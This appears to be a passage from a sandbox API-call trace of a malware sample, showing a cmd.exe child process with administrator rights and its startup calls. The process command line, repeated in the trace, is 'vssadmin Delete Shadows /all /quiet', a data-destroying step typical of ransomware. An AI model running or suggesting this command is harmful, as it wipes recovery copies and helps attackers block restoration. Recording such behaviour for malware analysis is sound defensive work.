	os_tid = 0x3ec


Thread:
	id = 131
	os_tid = 0x30c


Thread:
	id = 132
	os_tid = 0x60


Thread:
	id = 133
	os_tid = 0x6bc


Thread:
	id = 134
	os_tid = 0x594


Process:
	id = "41"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x6f38b000"
	os_pid = "0x3fc"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x13fc"
	cmd_line = "cmd.exe /c vssadmin Delete Shadows /all /quiet"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 135
	os_tid = 0xfbc

	[0091.790] GetModuleHandleA (lpModuleName=0x0) returned 0xb70000
	[0091.790] __set_app_type (_Type=0x1) 
	[0091.790] __p__fmode () returned 0x77803c14
	[0091.790] __p__commode () returned 0x778049ec
	[0091.791] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xb86fd0) returned 0x0
	[0091.791] __getmainargs (in: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac, _DoWildCard=0, _StartInfo=0xb9d1b8 | out: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac) returned 0
	[0091.791] _onexit (_Func=0xb88030) returned 0xb88030
	[0091.791] _onexit (_Func=0xb88040) returned 0xb88040
	[0091.791] _onexit (_Func=0xb88050) returned 0xb88050
	[0091.791] _onexit (_Func=0xb88060) returned 0xb88060
	[0091.791] _onexit (_Func=0xb88070) returned 0xb88070
	[0091.792] _onexit (_Func=0xb88080) returned 0xb88080
	[0091.792] GetCurrentThreadId () returned 0xfbc
	[0091.792] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xfbc) returned 0xbc
	[0091.792] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0091.792] GetProcAddress (hModule=0x76750000, lpProcName="SetThreadUILanguage") returned 0x76764f70
	[0091.792] SetThreadUILanguage (LangId=0x0) returned 0x400409
	[0091.799] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0091.799] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ef900 | out: phkResult=0x3ef900*=0x0) returned 0x2
	[0091.799] VirtualQuery (in: lpAddress=0x3ef90b, lpBuffer=0x3ef8b8, dwLength=0x1c | out: lpBuffer=0x3ef8b8*(BaseAddress=0x3ef000, AllocationBase=0x2f0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0091.799] VirtualQuery (in: lpAddress=0x2f0000, lpBuffer=0x3ef8b8, dwLength=0x1c | out: lpBuffer=0x3ef8b8*(BaseAddress=0x2f0000, AllocationBase=0x2f0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0091.799] VirtualQuery (in: lpAddress=0x2f1000, lpBuffer=0x3ef8b8, dwLength=0x1c | out: lpBuffer=0x3ef8b8*(BaseAddress=0x2f1000, AllocationBase=0x2f0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0091.799] VirtualQuery (in: lpAddress=0x2f3000, lpBuffer=0x3ef8b8, dwLength=0x1c | out: lpBuffer=0x3ef8b8*(BaseAddress=0x2f3000, AllocationBase=0x2f0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0091.799] VirtualQuery (in: lpAddress=0x3f0000, lpBuffer=0x3ef8b8, dwLength=0x1c | out: lpBuffer=0x3ef8b8*(BaseAddress=0x3f0000, AllocationBase=0x3f0000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c
	[0091.799] GetConsoleOutputCP () returned 0x1b5
	[0091.806] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0091.806] SetConsoleCtrlHandler (HandlerRoutine=0xb97260, Add=1) returned 1
	[0091.806] _get_osfhandle (_FileHandle=1) returned 0x90
	[0091.806] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba388c | out: lpMode=0xba388c) returned 1
	[0091.812] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0091.812] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3888 | out: lpMode=0xba3888) returned 1
	[0091.824] _get_osfhandle (_FileHandle=1) returned 0x90
	[0091.824] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1
	[0091.859] _get_osfhandle (_FileHandle=1) returned 0x90
	[0091.859] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0091.871] _get_osfhandle (_FileHandle=1) returned 0x90
	[0091.871] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0091.876] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0091.876] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0091.880] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0091.882] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0091.886] GetEnvironmentStringsW () returned 0x644b78*
	[0091.886] GetProcessHeap () returned 0x640000
	[0091.886] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xaca) returned 0x645650
	[0091.886] FreeEnvironmentStringsA (penv="A") returned 1
	[0091.886] GetProcessHeap () returned 0x640000
	[0091.886] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x4) returned 0x644658
	[0091.886] GetEnvironmentStringsW () returned 0x644b78*
	[0091.886] GetProcessHeap () returned 0x640000
	[0091.886] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xaca) returned 0x646128
	[0091.886] FreeEnvironmentStringsA (penv="A") returned 1
	[0091.886] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3ee85c | out: phkResult=0x3ee85c*=0xcc) returned 0x0
	[0091.887] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3ee864, lpData=0x3ee868, lpcbData=0x3ee860*=0x1000 | out: lpType=0x3ee864*=0x0, lpData=0x3ee868*=0xc5, lpcbData=0x3ee860*=0x1000) returned 0x2
	[0091.887] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3ee864, lpData=0x3ee868, lpcbData=0x3ee860*=0x1000 | out: lpType=0x3ee864*=0x4, lpData=0x3ee868*=0x1, lpcbData=0x3ee860*=0x4) returned 0x0
	[0091.887] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3ee864, lpData=0x3ee868, lpcbData=0x3ee860*=0x1000 | out: lpType=0x3ee864*=0x0, lpData=0x3ee868*=0x1, lpcbData=0x3ee860*=0x1000) returned 0x2
	[0091.887] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3ee864, lpData=0x3ee868, lpcbData=0x3ee860*=0x1000 | out: lpType=0x3ee864*=0x4, lpData=0x3ee868*=0x0, lpcbData=0x3ee860*=0x4) returned 0x0
	[0091.887] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3ee864, lpData=0x3ee868, lpcbData=0x3ee860*=0x1000 | out: lpType=0x3ee864*=0x4, lpData=0x3ee868*=0x40, lpcbData=0x3ee860*=0x4) returned 0x0
	[0091.887] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3ee864, lpData=0x3ee868, lpcbData=0x3ee860*=0x1000 | out: lpType=0x3ee864*=0x4, lpData=0x3ee868*=0x40, lpcbData=0x3ee860*=0x4) returned 0x0
	[0091.887] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3ee864, lpData=0x3ee868, lpcbData=0x3ee860*=0x1000 | out: lpType=0x3ee864*=0x0, lpData=0x3ee868*=0x40, lpcbData=0x3ee860*=0x1000) returned 0x2
	[0091.887] RegCloseKey (hKey=0xcc) returned 0x0
	[0091.887] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3ee85c | out: phkResult=0x3ee85c*=0xcc) returned 0x0
	[0091.887] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3ee864, lpData=0x3ee868, lpcbData=0x3ee860*=0x1000 | out: lpType=0x3ee864*=0x0, lpData=0x3ee868*=0x40, lpcbData=0x3ee860*=0x1000) returned 0x2
	[0091.887] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3ee864, lpData=0x3ee868, lpcbData=0x3ee860*=0x1000 | out: lpType=0x3ee864*=0x4, lpData=0x3ee868*=0x1, lpcbData=0x3ee860*=0x4) returned 0x0
	[0091.887] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3ee864, lpData=0x3ee868, lpcbData=0x3ee860*=0x1000 | out: lpType=0x3ee864*=0x0, lpData=0x3ee868*=0x1, lpcbData=0x3ee860*=0x1000) returned 0x2
	[0091.887] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3ee864, lpData=0x3ee868, lpcbData=0x3ee860*=0x1000 | out: lpType=0x3ee864*=0x4, lpData=0x3ee868*=0x0, lpcbData=0x3ee860*=0x4) returned 0x0
	[0091.887] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3ee864, lpData=0x3ee868, lpcbData=0x3ee860*=0x1000 | out: lpType=0x3ee864*=0x4, lpData=0x3ee868*=0x9, lpcbData=0x3ee860*=0x4) returned 0x0
	[0091.887] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3ee864, lpData=0x3ee868, lpcbData=0x3ee860*=0x1000 | out: lpType=0x3ee864*=0x4, lpData=0x3ee868*=0x9, lpcbData=0x3ee860*=0x4) returned 0x0
	[0091.887] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3ee864, lpData=0x3ee868, lpcbData=0x3ee860*=0x1000 | out: lpType=0x3ee864*=0x0, lpData=0x3ee868*=0x9, lpcbData=0x3ee860*=0x1000) returned 0x2
	[0091.887] RegCloseKey (hKey=0xcc) returned 0x0
	[0091.887] time (in: timer=0x0 | out: timer=0x0) returned 0x5e40e73f
	[0091.887] srand (_Seed=0x5e40e73f) 
	[0091.887] GetCommandLineW () returned="cmd.exe /c vssadmin Delete Shadows /all /quiet"
	[0091.887] malloc (_Size=0x4000) returned 0xb321f0
	[0091.888] GetCommandLineW () returned="cmd.exe /c vssadmin Delete Shadows /all /quiet"
	[0091.888] malloc (_Size=0xffce) returned 0x980048
	[0091.888] ??_V@YAXPAX@Z () returned 0x3ef840
	[0091.889] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x980048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0091.889] malloc (_Size=0xffce) returned 0x990020
	[0091.889] ??_V@YAXPAX@Z () returned 0x3ef614
	[0091.890] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x990020, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0091.890] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0091.890] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0091.890] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0091.890] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0091.890] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0091.890] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0091.890] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0091.890] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0091.890] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0091.890] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0091.890] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0091.890] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0091.890] GetProcessHeap () returned 0x640000
	[0091.890] RtlFreeHeap (HeapHandle=0x640000, Flags=0x0, BaseAddress=0x645650) returned 1
	[0091.890] GetEnvironmentStringsW () returned 0x644b78*
	[0091.890] GetProcessHeap () returned 0x640000
	[0091.890] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xae2) returned 0x6476f0
	[0091.890] FreeEnvironmentStringsA (penv="A") returned 1
	[0091.891] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0091.891] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0091.891] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0091.891] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0091.891] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0091.891] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0091.891] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0091.891] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0091.891] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0091.891] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0091.891] malloc (_Size=0xffce) returned 0x99fff8
	[0091.891] ??_V@YAXPAX@Z () returned 0x3ef3ac
	[0091.891] GetProcessHeap () returned 0x640000
	[0091.891] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x38) returned 0x640ae0
	[0091.891] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x99fff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0091.892] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x99fff8, lpFilePart=0x3ef3f8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x3ef3f8*="Desktop") returned 0x17
	[0091.892] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0091.892] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3ef178 | out: lpFindFileData=0x3ef178*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x640b20
	[0091.892] FindClose (in: hFindFile=0x640b20 | out: hFindFile=0x640b20) returned 1
	[0091.892] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x3ef178 | out: lpFindFileData=0x3ef178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x640b20
	[0091.892] FindClose (in: hFindFile=0x640b20 | out: hFindFile=0x640b20) returned 1
	[0091.892] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x3ef178 | out: lpFindFileData=0x3ef178*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x205eab37, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x205eab37, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x640b20
	[0091.893] FindClose (in: hFindFile=0x640b20 | out: hFindFile=0x640b20) returned 1
	[0091.893] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0091.893] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1
	[0091.893] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1
	[0091.893] GetProcessHeap () returned 0x640000
	[0091.893] RtlFreeHeap (HeapHandle=0x640000, Flags=0x0, BaseAddress=0x6476f0) returned 1
	[0091.893] GetEnvironmentStringsW () returned 0x644b78*
	[0091.893] GetProcessHeap () returned 0x640000
	[0091.893] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xb1a) returned 0x646c00
	[0091.893] FreeEnvironmentStringsA (penv="=") returned 1
	[0091.893] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x980048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0091.893] GetProcessHeap () returned 0x640000
	[0091.893] RtlFreeHeap (HeapHandle=0x640000, Flags=0x0, BaseAddress=0x640ae0) returned 1
	[0091.893] ??_V@YAXPAX@Z () returned 0x1
	[0091.893] ??_V@YAXPAX@Z () returned 0x1
	[0091.893] GetProcessHeap () returned 0x640000
	[0091.893] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x400e) returned 0x648d08
	[0091.894] GetProcessHeap () returned 0x640000
	[0091.894] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x54) returned 0x647728
	[0091.894] GetProcessHeap () returned 0x640000
	[0091.894] RtlFreeHeap (HeapHandle=0x640000, Flags=0x0, BaseAddress=0x648d08) returned 1
	[0091.894] GetConsoleOutputCP () returned 0x1b5
	[0091.906] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0091.906] GetUserDefaultLCID () returned 0x409
	[0091.906] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xb9f82c, cchData=8 | out: lpLCData=":") returned 2
	[0091.906] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3ef768, cchData=128 | out: lpLCData="0") returned 2
	[0091.906] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3ef768, cchData=128 | out: lpLCData="0") returned 2
	[0091.906] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3ef768, cchData=128 | out: lpLCData="1") returned 2
	[0091.906] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xb9f81c, cchData=8 | out: lpLCData="/") returned 2
	[0091.906] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xb9f7b8, cchData=32 | out: lpLCData="Mon") returned 4
	[0091.906] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xb9f778, cchData=32 | out: lpLCData="Tue") returned 4
	[0091.906] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xb9f738, cchData=32 | out: lpLCData="Wed") returned 4
	[0091.906] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xb9f6f8, cchData=32 | out: lpLCData="Thu") returned 4
	[0091.906] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xb9f6b8, cchData=32 | out: lpLCData="Fri") returned 4
	[0091.906] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xb9f678, cchData=32 | out: lpLCData="Sat") returned 4
	[0091.906] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xb9f638, cchData=32 | out: lpLCData="Sun") returned 4
	[0091.907] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xb9f80c, cchData=8 | out: lpLCData=".") returned 2
	[0091.907] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xb9f7f8, cchData=8 | out: lpLCData=",") returned 2
	[0091.907] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0091.908] GetProcessHeap () returned 0x640000
	[0091.908] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20c) returned 0x6477d0
	[0091.908] GetConsoleTitleW (in: lpConsoleTitle=0x6477d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0091.910] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0091.910] GetProcAddress (hModule=0x76750000, lpProcName="CopyFileExW") returned 0x76764330
	[0091.910] GetProcAddress (hModule=0x76750000, lpProcName="IsDebuggerPresent") returned 0x76765930
	[0091.910] GetProcAddress (hModule=0x76750000, lpProcName="SetConsoleInputExeNameW") returned 0x748f09d0
	[0091.910] ??_V@YAXPAX@Z () returned 0x1
	[0091.911] GetProcessHeap () returned 0x640000
	[0091.911] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x400a) returned 0x648d08
	[0091.911] GetProcessHeap () returned 0x640000
	[0091.911] RtlFreeHeap (HeapHandle=0x640000, Flags=0x0, BaseAddress=0x648d08) returned 1
	[0091.911] _wcsicmp (_String1="vssadmin", _String2=")") returned 77
	[0091.911] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16
	[0091.911] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16
	[0091.911] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13
	[0091.911] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13
	[0091.911] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4
	[0091.911] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4
	[0091.911] GetProcessHeap () returned 0x640000
	[0091.911] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x58) returned 0x6479e8
	[0091.912] GetProcessHeap () returned 0x640000
	[0091.912] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x1a) returned 0x647a48
	[0091.912] GetProcessHeap () returned 0x640000
	[0091.912] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x40) returned 0x647a70
	[0091.913] GetConsoleTitleW (in: lpConsoleTitle=0x3ef660, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0091.913] malloc (_Size=0xffce) returned 0x992620
	[0091.913] ??_V@YAXPAX@Z () returned 0x3ef3ec
	[0091.914] malloc (_Size=0xffce) returned 0x9a25f8
	[0091.914] ??_V@YAXPAX@Z () returned 0x3ef1a4
	[0091.915] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0091.915] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0091.915] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0091.915] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0091.915] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0091.915] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0091.915] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0091.915] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0091.915] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0091.915] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0091.915] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0091.915] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0091.915] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0091.915] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0091.915] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0091.915] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0091.915] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0091.916] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0091.917] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
